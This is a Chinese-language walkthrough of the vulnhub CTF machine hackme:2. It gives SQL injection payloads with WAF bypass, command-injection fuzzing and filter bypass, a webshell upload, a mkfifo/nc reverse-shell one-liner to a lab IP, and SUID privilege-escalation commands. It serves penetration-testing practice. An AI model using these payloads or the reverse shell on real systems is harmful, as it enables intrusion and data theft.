0x01 背景:
hackme:2是vulnhub上的一個medium難度的CTF靶機,難度適中、內容豐富,貼近實戰。而且沒有太多的腦洞,適合安全工作者們用來練習滲透測試,然而唯一的缺憾是目前沒有公開的攻略,因此把個人的通關過程記錄於此,作為攻略分享給大家!
0x02 技術關鍵詞:
SQL注入、WAF Bypass、模糊測試、文件上傳、suid提權
0x03 靶機發現與埠掃描
做vulnhub上的靶機的第一步,所有的靶機都是一樣的套路,不在這裡多費筆墨。
0x04 SQL注入與WAF Bypass
打開位於80埠的Web頁面,註冊一個測試帳號wangtua/wangtua,就可以登錄系統了,可以發現是一個書店系統。
進入系統之後發現有一個搜索框,SQL注入的套路很明顯了。要做SQL注入、第一步就是猜測SQL語句的格式和注入點。
1、探測SQL格式,WAF規則本搜索框的功能是檢索資料庫中的書名、當搜索框為空的時候,可以返回所有的內容,
當搜索框中只包含書名的前一部分的時候,也可以返回對應的內容:
因此我們猜測SQL語句格式為(%代表通配符,可以匹配零個或者多個任意字符):
$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"基於此,我們構造如下payload:
Linux%' and '123' like '1使用另一個payload:
發現無法返回結果
可以驗證我們的想法。
然而我們使用資料庫函數的時候卻出現了問題:
Payload:Linux%'/**/and database() like/**/'沒有返回內容,而當我們使用注釋符來代替空格的時候,則可以執行成功。
2、構造Payload通過構造聯合查詢,一步一步獲取出資料庫名,表名,列名和欄位
Linux%'unionselectdatabase(),'2','3Linux%'unionselectgroup_concat(table_name),"2","3"frominformation_schema.tableswheretable_schemalike'webappLinux%'unionselectgroup_concat(column_name),"2","3"frominformation_schema.columnswheretable_namelike'users'andtable_schemalike'webappLinux%'unionselectgroup_concat(user),'2',group_concat(pasword)fromuserswhere'1'like'到此為止我們發現了一個superadmin的帳號,將md5值在線解碼之後發現是Uncrackable
0x05 模糊測試與命令執行
進入超級管理員帳號之後,我們發現了一個可以進行文件上傳的點,
上傳cat.jpg之後,頁面上回顯了上傳路徑。
然而我們卻無法直接訪問任何文件。
接下來我們注意到下面兩個輸入框,可以將處理結果回顯到頁面上,這裡我除了想到XSS之外。還想到了測試命令注入或者模板注入。可以發現在Last Name輸入框裡輸入7*7,可以返回49
我們可以使用BurpSuite專業版的Intruder模塊來進行模糊測試。Payload選擇模糊測試-完整,
點擊開始攻擊。
攻擊完成之後可以發現 `id` 這個payload有命令執行的回顯。我們換其他命令來執行,例如pwd,ls都可以正確執行而cat命令無法執行,猜測其過濾了空格,我們使用cat<welcomeadmin.php這個payload來繞過過濾。
可以看到在返回包裡洩露的welcomeadmin.php的完整原始碼,包括文件上傳的絕對路徑。以及命令執行的成因:
使用哥斯拉生成木馬並上傳,發現php後綴被過濾,換成php3等也不行。
後綴改成png之後才上傳成功,然而無法正常解析成PHP文件。
這裡考慮使用剛才的命令執行漏洞,將文件名改成god.php
使用哥斯拉進行連接,發現連接成功
0x06 後滲透與提權
為了可以有更好的交互環境,我們用kali自帶的weevely生成木馬並連接,完成連接之後使用nc反彈shell:
由於靶機的nc版本特殊,無法使用nc -e選項,因此這裡使用了如下的payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.129 2333 >/tmp/f
(來自參考資料2)使用pyhton偽終端命令,可以在偽終端執行sudo等命令
使用命令find / -perm -u=s -type f 2>/dev/null來發現設置了suid位的應用程式(參考資料1)
關於suid提權的原理,可以參考P師傅的博客(參考資料3)。發現home目錄下有一個可疑的文件,執行一下之後發現順利get root權限。
0x07 總結與復盤:
這臺靶機感覺製作的比較用心,SQL注入和文件上傳等部分都比較貼近實戰,唯一美中不足的是提權部分有些太過簡單。目前本人正在備考OSCP,在vulnhub和HTB上做了不少靶機,打算最近把vulnhub上後滲透的套路總結一下,再發一篇文章,希望大家支持一下。
0x08 參考資料:
1) https://payatu.com/guide-linux-privilege-escalation
2) https://github.com/swisskyrepo/PayloadsAllTheThings
3) https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html(點擊「閱讀原文」查看連結)